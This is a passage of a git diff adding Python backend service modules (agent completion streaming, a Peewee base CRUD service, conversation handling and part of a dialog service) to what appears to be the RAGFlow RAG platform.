api.db.services.user_service import UserTenantService + e, c = UserCanvasService.get_by_canvas_id(canvas_id) + if not e: + return False + + tids = [t.tenant_id for t in UserTenantService.query(user_id=tenant_id)] + if c["user_id"] != canvas_id and c["user_id"] not in tids: + return False + return True + + +def completion(tenant_id, agent_id, session_id=None, **kwargs): + query = kwargs.get("query", "") or kwargs.get("question", "") + files = kwargs.get("files", []) + inputs = kwargs.get("inputs", {}) + user_id = kwargs.get("user_id", "") + + if session_id: + e, conv = API4ConversationService.get_by_id(session_id) + assert e, "Session not found!" + if not conv.message: + conv.message = [] + if not isinstance(conv.dsl, str): + conv.dsl = json.dumps(conv.dsl, ensure_ascii=False) + canvas = Canvas(conv.dsl, tenant_id, agent_id) + else: + e, cvs = UserCanvasService.get_by_id(agent_id) + assert e, "Agent not found." + assert cvs.user_id == tenant_id, "You do not own the agent." + if not isinstance(cvs.dsl, str): + cvs.dsl = json.dumps(cvs.dsl, ensure_ascii=False) + session_id=get_uuid() + canvas = Canvas(cvs.dsl, tenant_id, agent_id) + canvas.reset() + conv = { + "id": session_id, + "dialog_id": cvs.id, + "user_id": user_id, + "message": [], + "source": "agent", + "dsl": cvs.dsl, + "reference": [] + } + API4ConversationService.save(**conv) + conv = API4Conversation(**conv) + + message_id = str(uuid4()) + conv.message.append({ + "role": "user", + "content": query, + "id": message_id + }) + txt = "" + for ans in canvas.run(query=query, files=files, user_id=user_id, inputs=inputs): + ans["session_id"] = session_id + if ans["event"] == "message": + txt += ans["data"]["content"] + yield "data:" + json.dumps(ans, ensure_ascii=False) + "\n\n" + + conv.message.append({"role": "assistant", "content": txt, "created_at": time.time(), "id": message_id}) + conv.reference = canvas.get_reference() + conv.errors = canvas.error + conv.dsl = str(canvas) + conv = conv.to_dict() + API4ConversationService.append_message(conv["id"], conv) + + +def completionOpenAI(tenant_id, agent_id, question, session_id=None, stream=True, **kwargs): + tiktokenenc = tiktoken.get_encoding("cl100k_base") + prompt_tokens = len(tiktokenenc.encode(str(question))) + user_id = kwargs.get("user_id", "") + + if stream: + completion_tokens = 0 + try: + for ans in completion( + tenant_id=tenant_id, + agent_id=agent_id, + session_id=session_id, + query=question, + user_id=user_id, + **kwargs + ): + if isinstance(ans, str): + try: + ans = json.loads(ans[5:]) # remove "data:" + except Exception as e: + logging.exception(f"Agent OpenAI-Compatible completionOpenAI parse answer failed: {e}") + continue + if ans.get("event") not in ["message", "message_end"]: + continue + + content_piece = "" + if ans["event"] == "message": + content_piece = ans["data"]["content"] + + completion_tokens += len(tiktokenenc.encode(content_piece)) + + openai_data = get_data_openai( + id=session_id or str(uuid4()), + model=agent_id, + content=content_piece, + prompt_tokens=prompt_tokens, + completion_tokens=completion_tokens, + stream=True + ) + + if ans.get("data", {}).get("reference", None): + openai_data["choices"][0]["delta"]["reference"] = ans["data"]["reference"] + + yield "data: " + json.dumps(openai_data, ensure_ascii=False) + "\n\n" + + yield "data: [DONE]\n\n" + + except Exception as e: + logging.exception(e) + yield "data: " + json.dumps( + get_data_openai( + id=session_id or str(uuid4()), + model=agent_id, + content=f"**ERROR**: {str(e)}", + finish_reason="stop", + prompt_tokens=prompt_tokens, + completion_tokens=len(tiktokenenc.encode(f"**ERROR**: {str(e)}")), + stream=True + ), + ensure_ascii=False + ) + "\n\n" + yield "data: [DONE]\n\n" + + else: + try: + all_content = "" + reference = {} + for ans in completion( + tenant_id=tenant_id, + agent_id=agent_id, + session_id=session_id, + query=question, + user_id=user_id, + **kwargs + ): + if isinstance(ans, str): + ans = json.loads(ans[5:]) + if ans.get("event") not in ["message", "message_end"]: + continue + + if ans["event"] == "message": + all_content += ans["data"]["content"] + + if ans.get("data", {}).get("reference", None): + reference.update(ans["data"]["reference"]) + + completion_tokens = len(tiktokenenc.encode(all_content)) + + openai_data = get_data_openai( + id=session_id or str(uuid4()), + model=agent_id, + prompt_tokens=prompt_tokens, + completion_tokens=completion_tokens, + content=all_content, + finish_reason="stop", + param=None + ) + + if reference: + openai_data["choices"][0]["message"]["reference"] = reference + + yield openai_data + except Exception as e: + logging.exception(e) + yield get_data_openai( + id=session_id or str(uuid4()), + model=agent_id, + prompt_tokens=prompt_tokens, + completion_tokens=len(tiktokenenc.encode(f"**ERROR**: {str(e)}")), + content=f"**ERROR**: {str(e)}", + finish_reason="stop", + param=None + ) diff --git a/api/db/services/common_service.py b/api/db/services/common_service.py new file mode 100644 index 0000000..a5c8714 --- /dev/null +++ b/api/db/services/common_service.py @@ -0,0 +1,345 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from datetime import datetime +from tenacity import retry, stop_after_attempt, wait_exponential, retry_if_exception_type +import peewee +from peewee import InterfaceError, OperationalError + +from api.db.db_models import DB +from api.utils import current_timestamp, datetime_format, get_uuid + +def retry_db_operation(func): + @retry( + stop=stop_after_attempt(3), + wait=wait_exponential(multiplier=1, min=1, max=5), + retry=retry_if_exception_type((InterfaceError, OperationalError)), + before_sleep=lambda retry_state: print(f"RETRY {retry_state.attempt_number} TIMES"), + reraise=True, + ) + def wrapper(*args, **kwargs): + return func(*args, **kwargs) + return wrapper + +class CommonService: + """Base service class that provides common database operations. + + This class serves as a foundation for all service classes in the application, + implementing standard CRUD operations and common database query patterns. + It uses the Peewee ORM for database interactions and provides a consistent + interface for database operations across all derived service classes. + + Attributes: + model: The Peewee model class that this service operates on. Must be set by subclasses. + """ + + model = None + + @classmethod + @DB.connection_context() + def query(cls, cols=None, reverse=None, order_by=None, **kwargs): + """Execute a database query with optional column selection and ordering. + + This method provides a flexible way to query the database with various filters + and sorting options. It supports column selection, sort order control, and + additional filter conditions. + + Args: + cols (list, optional): List of column names to select. If None, selects all columns. + reverse (bool, optional): If True, sorts in descending order. If False, sorts in ascending order. + order_by (str, optional): Column name to sort results by. + **kwargs: Additional filter conditions passed as keyword arguments. + + Returns: + peewee.ModelSelect: A query result containing matching records. + """ + return cls.model.query(cols=cols, reverse=reverse, order_by=order_by, **kwargs) + + @classmethod + @DB.connection_context() + def get_all(cls, cols=None, reverse=None, order_by=None): + """Retrieve all records from the database with optional column selection and ordering. + + This method fetches all records from the model's table with support for + column selection and result ordering. If no order_by is specified and reverse + is True, it defaults to ordering by create_time. + + Args: + cols (list, optional): List of column names to select. If None, selects all columns. + reverse (bool, optional): If True, sorts in descending order. If False, sorts in ascending order. + order_by (str, optional): Column name to sort results by. Defaults to 'create_time' if reverse is specified. + + Returns: + peewee.ModelSelect: A query containing all matching records. + """ + if cols: + query_records = cls.model.select(*cols) + else: + query_records = cls.model.select() + if reverse is not None: + if not order_by or not hasattr(cls, order_by): + order_by = "create_time" + if reverse is True: + query_records = query_records.order_by(cls.model.getter_by(order_by).desc()) + elif reverse is False: + query_records = query_records.order_by(cls.model.getter_by(order_by).asc()) + return query_records + + @classmethod + @DB.connection_context() + def get(cls, **kwargs): + """Get a single record matching the given criteria. + + This method retrieves a single record from the database that matches + the specified filter conditions. + + Args: + **kwargs: Filter conditions as keyword arguments. + + Returns: + Model instance: Single matching record. + + Raises: + peewee.DoesNotExist: If no matching record is found. + """ + return cls.model.get(**kwargs) + + @classmethod + @DB.connection_context() + def get_or_none(cls, **kwargs): + """Get a single record or None if not found. + + This method attempts to retrieve a single record matching the given criteria, + returning None if no match is found instead of raising an exception. + + Args: + **kwargs: Filter conditions as keyword arguments. + + Returns: + Model instance or None: Matching record if found, None otherwise. + """ + try: + return cls.model.get(**kwargs) + except peewee.DoesNotExist: + return None + + @classmethod + @DB.connection_context() + def save(cls, **kwargs): + """Save a new record to database. + + This method creates a new record in the database with the provided field values, + forcing an insert operation rather than an update. + + Args: + **kwargs: Record field values as keyword arguments. + + Returns: + Model instance: The created record object. + """ + sample_obj = cls.model(**kwargs).save(force_insert=True) + return sample_obj + + @classmethod + @DB.connection_context() + def insert(cls, **kwargs): + """Insert a new record with automatic ID and timestamps. + + This method creates a new record with automatically generated ID and timestamp fields. + It handles the creation of create_time, create_date, update_time, and update_date fields. + + Args: + **kwargs: Record field values as keyword arguments. + + Returns: + Model instance: The newly created record object. + """ + if "id" not in kwargs: + kwargs["id"] = get_uuid() + kwargs["create_time"] = current_timestamp() + kwargs["create_date"] = datetime_format(datetime.now()) + kwargs["update_time"] = current_timestamp() + kwargs["update_date"] = datetime_format(datetime.now()) + sample_obj = cls.model(**kwargs).save(force_insert=True) + return sample_obj + + @classmethod + @DB.connection_context() + def insert_many(cls, data_list, batch_size=100): + """Insert multiple records in batches. + + This method efficiently inserts multiple records into the database using batch processing. + It automatically sets creation timestamps for all records. + + Args: + data_list (list): List of dictionaries containing record data to insert. + batch_size (int, optional): Number of records to insert in each batch. Defaults to 100. + """ + with DB.atomic(): + for d in data_list: + d["create_time"] = current_timestamp() + d["create_date"] = datetime_format(datetime.now()) + for i in range(0, len(data_list), batch_size): + cls.model.insert_many(data_list[i : i + batch_size]).execute() + + @classmethod + @DB.connection_context() + def update_many_by_id(cls, data_list): + """Update multiple records by their IDs. + + This method updates multiple records in the database, identified by their IDs. + It automatically updates the update_time and update_date fields for each record. + + Args: + data_list (list): List of dictionaries containing record data to update. + Each dictionary must include an 'id' field. + """ + with DB.atomic(): + for data in data_list: + data["update_time"] = current_timestamp() + data["update_date"] = datetime_format(datetime.now()) + cls.model.update(data).where(cls.model.id == data["id"]).execute() + + @classmethod + @DB.connection_context() + @retry_db_operation + def update_by_id(cls, pid, data): + # Update a single record by ID + # Args: + # pid: Record ID + # data: Updated field values + # Returns: + # Number of records updated + data["update_time"] = current_timestamp() + data["update_date"] = datetime_format(datetime.now()) + num = cls.model.update(data).where(cls.model.id == pid).execute() + return num + + @classmethod + @DB.connection_context() + def get_by_id(cls, pid): + # Get a record by ID + # Args: + # pid: Record ID + # Returns: + # Tuple of (success, record) + try: + obj = cls.model.get_or_none(cls.model.id == pid) + if obj: + return True, obj + except Exception: + pass + return False, None + + @classmethod + @DB.connection_context() + def get_by_ids(cls, pids, cols=None): + # Get multiple records by their IDs + # Args: + # pids: List of record IDs + # cols: List of columns to select + # Returns: + # Query of matching records + if cols: + objs = cls.model.select(*cols) + else: + objs = cls.model.select() + return objs.where(cls.model.id.in_(pids)) + + @classmethod + @DB.connection_context() + def delete_by_id(cls, pid): + # Delete a record by ID + # Args: + # pid: Record ID + # Returns: + # Number of records deleted + return cls.model.delete().where(cls.model.id == pid).execute() + + @classmethod + @DB.connection_context() + def delete_by_ids(cls, pids): + # Delete multiple records by their IDs + # Args: + # pids: List of record IDs + # Returns: + # Number of records deleted + with DB.atomic(): + res = cls.model.delete().where(cls.model.id.in_(pids)).execute() + return res + + @classmethod + @DB.connection_context() + def filter_delete(cls, filters): + # Delete records matching given filters + # Args: + # filters: List of filter conditions + # Returns: + # Number of records deleted + with DB.atomic(): + num = cls.model.delete().where(*filters).execute() + return num + + @classmethod + @DB.connection_context() + def filter_update(cls, filters, update_data): + # Update records matching given filters + # Args: + # filters: List of filter conditions + # update_data: Updated field values + # Returns: + # Number of records updated + with DB.atomic(): + return cls.model.update(update_data).where(*filters).execute() + + @staticmethod + def cut_list(tar_list, n): + # Split a list into chunks of size n + # Args: + # tar_list: List to split + # n: Chunk size + # Returns: + # List of tuples containing chunks + length = len(tar_list) + arr = range(length) + result = [tuple(tar_list[x : (x + n)]) for x in arr[::n]] + return result + + @classmethod + @DB.connection_context() + def filter_scope_list(cls, in_key, in_filters_list, filters=None, cols=None): + # Get records matching IN clause filters with optional column selection + # Args: + # in_key: Field name for IN clause + # in_filters_list: List of values for IN clause + # filters: Additional filter conditions + # cols: List of columns to select + # Returns: + # List of matching records + in_filters_tuple_list = cls.cut_list(in_filters_list, 20) + if not filters: + filters = [] + res_list = [] + if cols: + for i in in_filters_tuple_list: + query_records = cls.model.select(*cols).where(getattr(cls.model, in_key).in_(i), *filters) + if query_records: + res_list.extend([query_record for query_record in query_records]) + else: + for i in in_filters_tuple_list: + query_records = cls.model.select().where(getattr(cls.model, in_key).in_(i), *filters) + if query_records: + res_list.extend([query_record for query_record in query_records]) + return res_list diff --git a/api/db/services/conversation_service.py b/api/db/services/conversation_service.py new file mode 100644 index 0000000..53913f4 --- /dev/null +++ b/api/db/services/conversation_service.py @@ -0,0 +1,242 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import time +from uuid import uuid4 +from api.db import StatusEnum +from api.db.db_models import Conversation, DB +from api.db.services.api_service import API4ConversationService +from api.db.services.common_service import CommonService +from api.db.services.dialog_service import DialogService, chat +from api.utils import get_uuid +import json + +from rag.prompts.generator import chunks_format + + +class ConversationService(CommonService): + model = Conversation + + @classmethod + @DB.connection_context() + def get_list(cls, dialog_id, page_number, items_per_page, orderby, desc, id, name, user_id=None): + sessions = cls.model.select().where(cls.model.dialog_id == dialog_id) + if id: + sessions = sessions.where(cls.model.id == id) + if name: + sessions = sessions.where(cls.model.name == name) + if user_id: + sessions = sessions.where(cls.model.user_id == user_id) + if desc: + sessions = sessions.order_by(cls.model.getter_by(orderby).desc()) + else: + sessions = sessions.order_by(cls.model.getter_by(orderby).asc()) + + sessions = sessions.paginate(page_number, items_per_page) + + return list(sessions.dicts()) + + @classmethod + @DB.connection_context() + def get_all_conversation_by_dialog_ids(cls, dialog_ids): + sessions = cls.model.select().where(cls.model.dialog_id.in_(dialog_ids)) + sessions.order_by(cls.model.create_time.asc()) + offset, limit = 0, 100 + res = [] + while True: + s_batch = sessions.offset(offset).limit(limit) + _temp = list(s_batch.dicts()) + if not _temp: + break + res.extend(_temp) + offset += limit + return res + +def structure_answer(conv, ans, message_id, session_id): + reference = ans["reference"] + if not isinstance(reference, dict): + reference = {} + ans["reference"] = {} + + chunk_list = chunks_format(reference) + + reference["chunks"] = chunk_list + ans["id"] = message_id + ans["session_id"] = session_id + + if not conv: + return ans + + if not conv.message: + conv.message = [] + if not conv.message or conv.message[-1].get("role", "") != "assistant": + conv.message.append({"role": "assistant", "content": ans["answer"], "created_at": time.time(), "id": message_id}) + else: + conv.message[-1] = {"role": "assistant", "content": ans["answer"], "created_at": time.time(), "id": message_id} + if conv.reference: + conv.reference[-1] = reference + return ans + + +def completion(tenant_id, chat_id, question, name="New session", session_id=None, stream=True, **kwargs): + assert name, "`name` can not be empty." + dia = DialogService.query(id=chat_id, tenant_id=tenant_id, status=StatusEnum.VALID.value) + assert dia, "You do not own the chat." + + if not session_id: + session_id = get_uuid() + conv = { + "id": session_id, + "dialog_id": chat_id, + "name": name, + "message": [{"role": "assistant", "content": dia[0].prompt_config.get("prologue"), "created_at": time.time()}], + "user_id": kwargs.get("user_id", "") + } + ConversationService.save(**conv) + if stream: + yield "data:" + json.dumps({"code": 0, "message": "", + "data": { + "answer": conv["message"][0]["content"], + "reference": {}, + "audio_binary": None, + "id": None, + "session_id": session_id + }}, + ensure_ascii=False) + "\n\n" + yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n" + return + + conv = ConversationService.query(id=session_id, dialog_id=chat_id) + if not conv: + raise LookupError("Session does not exist") + + conv = conv[0] + msg = [] + question = { + "content": question, + "role": "user", + "id": str(uuid4()) + } + conv.message.append(question) + for m in conv.message: + if m["role"] == "system": + continue + if m["role"] == "assistant" and not msg: + continue + msg.append(m) + message_id = msg[-1].get("id") + e, dia = DialogService.get_by_id(conv.dialog_id) + + kb_ids = kwargs.get("kb_ids",[]) + dia.kb_ids = list(set(dia.kb_ids + kb_ids)) + if not conv.reference: + conv.reference = [] + conv.message.append({"role": "assistant", "content": "", "id": message_id}) + conv.reference.append({"chunks": [], "doc_aggs": []}) + + if stream: + try: + for ans in chat(dia, msg, True, **kwargs): + ans = structure_answer(conv, ans, message_id, session_id) + yield "data:" + json.dumps({"code": 0, "data": ans}, ensure_ascii=False) + "\n\n" + ConversationService.update_by_id(conv.id, conv.to_dict()) + except Exception as e: + yield "data:" + json.dumps({"code": 500, "message": str(e), + "data": {"answer": "**ERROR**: " + str(e), "reference": []}}, + ensure_ascii=False) + "\n\n" + yield "data:" + json.dumps({"code": 0, "data": True}, ensure_ascii=False) + "\n\n" + + else: + answer = None + for ans in chat(dia, msg, False, **kwargs): + answer = structure_answer(conv, ans, message_id, session_id) + ConversationService.update_by_id(conv.id, conv.to_dict()) + break + yield answer + + +def iframe_completion(dialog_id, question, session_id=None, stream=True, **kwargs): + e, dia = DialogService.get_by_id(dialog_id) + assert e, "Dialog not found" + if not session_id: + session_id = get_uuid() + conv = { + "id": session_id, + "dialog_id": dialog_id, + "user_id": kwargs.get("user_id", ""), + "message": [{"role": "assistant", "content": dia.prompt_config["prologue"], "created_at": time.time()}] + } + API4ConversationService.save(**conv) + yield "data:" + json.dumps({"code": 0, "message": "", + "data": { + "answer": conv["message"][0]["content"], + "reference": {}, + "audio_binary": None, + "id": None, + "session_id": session_id + }}, + ensure_ascii=False) + "\n\n" + yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n" + return + else: + session_id = session_id + e, conv = API4ConversationService.get_by_id(session_id) + assert e, "Session not found!" + + if not conv.message: + conv.message = [] + messages = conv.message + question = { + "role": "user", + "content": question, + "id": str(uuid4()) + } + messages.append(question) + + msg = [] + for m in messages: + if m["role"] == "system": + continue + if m["role"] == "assistant" and not msg: + continue + msg.append(m) + if not msg[-1].get("id"): + msg[-1]["id"] = get_uuid() + message_id = msg[-1]["id"] + + if not conv.reference: + conv.reference = [] + conv.reference.append({"chunks": [], "doc_aggs": []}) + + if stream: + try: + for ans in chat(dia, msg, True, **kwargs): + ans = structure_answer(conv, ans, message_id, session_id) + yield "data:" + json.dumps({"code": 0, "message": "", "data": ans}, + ensure_ascii=False) + "\n\n" + API4ConversationService.append_message(conv.id, conv.to_dict()) + except Exception as e: + yield "data:" + json.dumps({"code": 500, "message": str(e), + "data": {"answer": "**ERROR**: " + str(e), "reference": []}}, + ensure_ascii=False) + "\n\n" + yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n" + + else: + answer = None + for ans in chat(dia, msg, False, **kwargs): + answer = structure_answer(conv, ans, message_id, session_id) + API4ConversationService.append_message(conv.id, conv.to_dict()) + break + yield answer diff --git a/api/db/services/dialog_service.py b/api/db/services/dialog_service.py new file mode 100644 index 0000000..673000f --- /dev/null +++ b/api/db/services/dialog_service.py @@ -0,0 +1,868 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import binascii +import logging +import re +import time +from copy import deepcopy +from datetime import datetime +from functools import partial +from timeit import default_timer as timer +import trio +from langfuse import Langfuse +from peewee import fn +from agentic_reasoning import DeepResearcher +from api import settings +from api.db import LLMType, ParserType, StatusEnum +from api.db.db_models import DB, Dialog +from api.db.services.common_service import CommonService +from api.db.services.document_service import DocumentService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.langfuse_service import TenantLangfuseService +from api.db.services.llm_service import LLMBundle +from api.db.services.tenant_llm_service import TenantLLMService +from api.utils import current_timestamp, datetime_format +from graphrag.general.mind_map_extractor import MindMapExtractor +from rag.app.resume import forbidden_select_fields4resume +from rag.app.tag import label_question +from rag.nlp.search import index_name +from rag.prompts.generator import chunks_format, citation_prompt, cross_languages, full_question, kb_prompt, keyword_extraction, message_fit_in, \ + gen_meta_filter, PROMPT_JINJA_ENV, ASK_SUMMARY +from rag.utils import num_tokens_from_string, rmSpace +from rag.utils.tavily_conn import Tavily + + +class DialogService(CommonService): + model = Dialog + + @classmethod + def save(cls, **kwargs): + """Save a new record to database. + + This method creates a new record in the database with the provided field values, + forcing an insert operation rather than an update. + + Args: + **kwargs: Record field values as keyword arguments. + + Returns: + Model instance: The created record object. + """ + sample_obj = cls.model(**kwargs).save(force_insert=True) + return sample_obj + + @classmethod + def update_many_by_id(cls, data_list): + """Update multiple records by their IDs. + + This method updates multiple records in the database, identified by their IDs. + It automatically updates the update_time and update_date fields for each record. + + Args: + data_list (list): List of dictionaries containing record data to update. + Each dictionary must include an 'id' field. + """ + with DB.atomic(): + for data in data_list: + data["update_time"] = current_timestamp() + data["update_date"] = datetime_format(datetime.now()) + cls.model.update(data).where(cls.model.id == data["id"]).execute() + + @classmethod + @DB.connection_context() + def get_list(cls, tenant_id, page_number, items_per_page, orderby, desc, id, name): + chats = cls.model.select() + if id: + chats = chats.where(cls.model.id == id) + if name: + chats = chats.where(cls.model.name == name) + chats = chats.where((cls.model.tenant_id == tenant_id) & (cls.model.status == StatusEnum.VALID.value)) + if desc: + chats = chats.order_by(cls.model.getter_by(orderby).desc()) + else: + chats = chats.order_by(cls.model.getter_by(orderby).asc()) + + chats = chats.paginate(page_number, items_per_page) + + return list(chats.dicts()) + + @classmethod + @DB.connection_context() + def get_by_tenant_ids(cls, joined_tenant_ids, user_id, page_number, items_per_page, orderby, desc, keywords, parser_id=None): + from api.db.db_models import User + + fields = [ + cls.model.id, + cls.model.tenant_id, + cls.model.name, + cls.model.description, + cls.model.language, + cls.model.llm_id, + cls.model.llm_setting, + cls.model.prompt_type, + cls.model.prompt_config, + cls.model.similarity_threshold, + cls.model.vector_similarity_weight, + cls.model.top_n, + cls.model.top_k, + cls.model.do_refer, + cls.model.rerank_id, + cls.model.kb_ids, + cls.model.icon, + cls.model.status, + User.nickname, + User.avatar.alias("tenant_avatar"), + cls.model.update_time, + cls.model.create_time, + ] + if keywords: + dialogs = ( + cls.model.select(*fields) + .join(User, on=(cls.model.tenant_id == User.id)) + .where( + (cls.model.tenant_id.in_(joined_tenant_ids) | (cls.model.tenant_id == user_id)) & (cls.model.status == StatusEnum.VALID.value), + (fn.LOWER(cls.model.name).contains(keywords.lower())), + ) + ) + else: + dialogs = ( + cls.model.select(*fields) + .join(User, on=(cls.model.tenant_id == User.id)) + .where( + (cls.model.tenant_id.in_(joined_tenant_ids) | (cls.model.tenant_id == user_id)) & (cls.model.status == StatusEnum.VALID.value), + ) + ) + if parser_id: + dialogs = dialogs.where(cls.model.parser_id == parser_id) + if desc: + dialogs = dialogs.order_by(cls.model.getter_by(orderby).desc()) + else: + dialogs = dialogs.order_by(cls.model.getter_by(orderby).asc()) + + count = dialogs.count() + + if page_number and items_per_page: + dialogs = dialogs.paginate(page_number, items_per_page) + + return list(dialogs.dicts()), count + + @classmethod + @DB.connection_context() + def get_all_dialogs_by_tenant_id(cls, tenant_id): + fields = [cls.model.id] + dialogs = cls.model.select(*fields).where(cls.model.tenant_id == tenant_id) + dialogs.order_by(cls.model.create_time.asc()) + offset, limit = 0, 100 + res = [] + while True: + d_batch = dialogs.offset(offset).limit(limit) + _temp = list(d_batch.dicts()) + if not _temp: + break + res.extend(_temp) + offset += limit + return res + +def chat_solo(dialog, messages, stream=True): + if TenantLLMService.llm_id2llm_type(dialog.llm_id) == "image2text": + chat_mdl = LLMBundle(dialog.tenant_id, LLMType.IMAGE2TEXT, dialog.llm_id) + else: + chat_mdl = LLMBundle(dialog.tenant_id, LLMType.CHAT, dialog.llm_id) + + prompt_config = dialog.prompt_config + tts_mdl = None + if prompt_config.get("tts"): + tts_mdl = LLMBundle(dialog.tenant_id, LLMType.TTS) + msg = [{"role": m["role"], "content": re.sub(r"##\d+\$\$", "", m["content"])} for m in messages if m["role"] != "system"] + if stream: + last_ans = "" + delta_ans = "" + for ans in chat_mdl.chat_streamly(prompt_config.get("system", ""), msg, dialog.llm_setting): + answer = ans + delta_ans = ans[len(last_ans):] + if num_tokens_from_string(delta_ans) < 16: + continue + last_ans = answer + yield {"answer": answer, "reference": {}, "audio_binary": tts(tts_mdl, delta_ans), "prompt": "", "created_at": time.time()} + delta_ans = "" + if delta_ans: + yield {"answer": answer, "reference": {}, "audio_binary": tts(tts_mdl, delta_ans), "prompt": "", "created_at": time.time()} + else: + answer = chat_mdl.chat(prompt_config.get("system", ""), msg, dialog.llm_setting) + user_content = msg[-1].get("content", "[content not available]") + logging.debug("User: {}|Assistant: {}".format(user_content, answer)) + yield {"answer": answer, "reference": {}, "audio_binary": tts(tts_mdl, answer), "prompt": "", "created_at": time.time()} + + +def get_models(dialog): + embd_mdl, chat_mdl, rerank_mdl, tts_mdl = None, None, None, None + kbs = KnowledgebaseService.get_by_ids(dialog.kb_ids) + embedding_list = list(set([kb.embd_id for kb in kbs])) + if len(embedding_list) > 1: + raise Exception("**ERROR**: Knowledge bases use different embedding models.") + + if embedding_list: + embd_mdl = LLMBundle(dialog.tenant_id, LLMType.EMBEDDING, embedding_list[0]) + if not embd_mdl: + raise LookupError("Embedding model(%s) not found" % embedding_list[0]) + + if TenantLLMService.llm_id2llm_type(dialog.llm_id) == "image2text": + chat_mdl = LLMBundle(dialog.tenant_id, LLMType.IMAGE2TEXT, dialog.llm_id) + else: + chat_mdl = LLMBundle(dialog.tenant_id, LLMType.CHAT, dialog.llm_id) + + if dialog.rerank_id: + rerank_mdl = LLMBundle(dialog.tenant_id, LLMType.RERANK, dialog.rerank_id) + + if dialog.prompt_config.get("tts"): + tts_mdl = LLMBundle(dialog.tenant_id, LLMType.TTS) + return kbs, embd_mdl, rerank_mdl, chat_mdl, tts_mdl + + +BAD_CITATION_PATTERNS = [ + re.compile(r"\(\s*ID\s*[: ]*\s*(\d+)\s*\)"), # (ID: 12) + re.compile(r"\[\s*ID\s*[: ]*\s*(\d+)\s*\]"), # [ID: 12] + re.compile(r"【\s*ID\s*[: ]*\s*(\d+)\s*】"), # 【ID: 12】 + re.compile(r"ref\s*(\d+)", flags=re.IGNORECASE), # ref12、REF 12 +] + + +def repair_bad_citation_formats(answer: str, kbinfos: dict, idx: set): + max_index = len(kbinfos["chunks"]) + + def safe_add(i): + if 0 <= i < max_index: + idx.add(i) + return True + return False + + def find_and_replace(pattern, group_index=1, repl=lambda i: f"ID:{i}", flags=0): + nonlocal answer + + def replacement(match): + try: + i = int(match.group(group_index)) + if safe_add(i): + return f"[{repl(i)}]" + except Exception: + pass + return match.group(0) + + answer = re.sub(pattern, replacement, answer, flags=flags) + + for pattern in BAD_CITATION_PATTERNS: + find_and_replace(pattern) + + return answer, idx + + +def convert_conditions(metadata_condition): + if metadata_condition is None: + metadata_condition = {} + op_mapping = { + "is": "=", + "not is": "≠" + } + return [ + { + "op": op_mapping.get(cond["comparison_operator"], cond["comparison_operator"]), + "key": cond["name"], + "value": cond["value"] + } + for cond in metadata_condition.get("conditions", []) + ] + + +def meta_filter(metas: dict, filters: list[dict]): + doc_ids = set([]) + + def filter_out(v2docs, operator, value): + ids = [] + for input, docids in v2docs.items(): + try: + input = float(input) + value = float(value) + except Exception: + input = str(input) + value = str(value) + + for conds in [ + (operator == "contains", str(value).lower() in str(input).lower()), + (operator == "not contains", str(value).lower() not in str(input).lower()), + (operator == "start with", str(input).lower().startswith(str(value).lower())), + (operator == "end with", str(input).lower().endswith(str(value).lower())), + (operator == "empty", not input), + (operator == "not empty", input), + (operator == "=", input == value), + (operator == "≠", input != value), + (operator == ">", input > value), + (operator == "<", input < value), + (operator == "≥", input >= value), + (operator == "≤", input <= value), + ]: + try: + if all(conds): + ids.extend(docids) + break + except Exception: + pass + return ids + + for k, v2docs in metas.items(): + for f in filters: + if k != f["key"]: + continue + ids = filter_out(v2docs, f["op"], f["value"]) + if not doc_ids: + doc_ids = set(ids) + else: + doc_ids = doc_ids & set(ids) + if not doc_ids: + return [] + return list(doc_ids) + + +def chat(dialog, messages, stream=True, **kwargs): + assert messages[-1]["role"] == "user", "The last content of this conversation is not from user." + if not dialog.kb_ids and not dialog.prompt_config.get("tavily_api_key"): + for ans in chat_solo(dialog, messages, stream): + yield ans + return + + chat_start_ts = timer() + + if TenantLLMService.llm_id2llm_type(dialog.llm_id) == "image2text": + llm_model_config = TenantLLMService.get_model_config(dialog.tenant_id, LLMType.IMAGE2TEXT, dialog.llm_id) + else: + llm_model_config = TenantLLMService.get_model_config(dialog.tenant_id, LLMType.CHAT, dialog.llm_id) + + max_tokens = llm_model_config.get("max_tokens", 8192) + + check_llm_ts = timer() + + langfuse_tracer = None + trace_context = {} + langfuse_keys = TenantLangfuseService.filter_by_tenant(tenant_id=dialog.tenant_id) + if langfuse_keys: + langfuse = Langfuse(public_key=langfuse_keys.public_key, secret_key=langfuse_keys.secret_key, host=langfuse_keys.host) + if langfuse.auth_check(): + langfuse_tracer = langfuse + trace_id = langfuse_tracer.create_trace_id() + trace_context = {"trace_id": trace_id} + + check_langfuse_tracer_ts = timer() + kbs, embd_mdl, rerank_mdl, chat_mdl, tts_mdl = get_models(dialog) + toolcall_session, tools = kwargs.get("toolcall_session"), kwargs.get("tools") + if toolcall_session and tools: + chat_mdl.bind_tools(toolcall_session, tools) + bind_models_ts = timer() + + retriever = 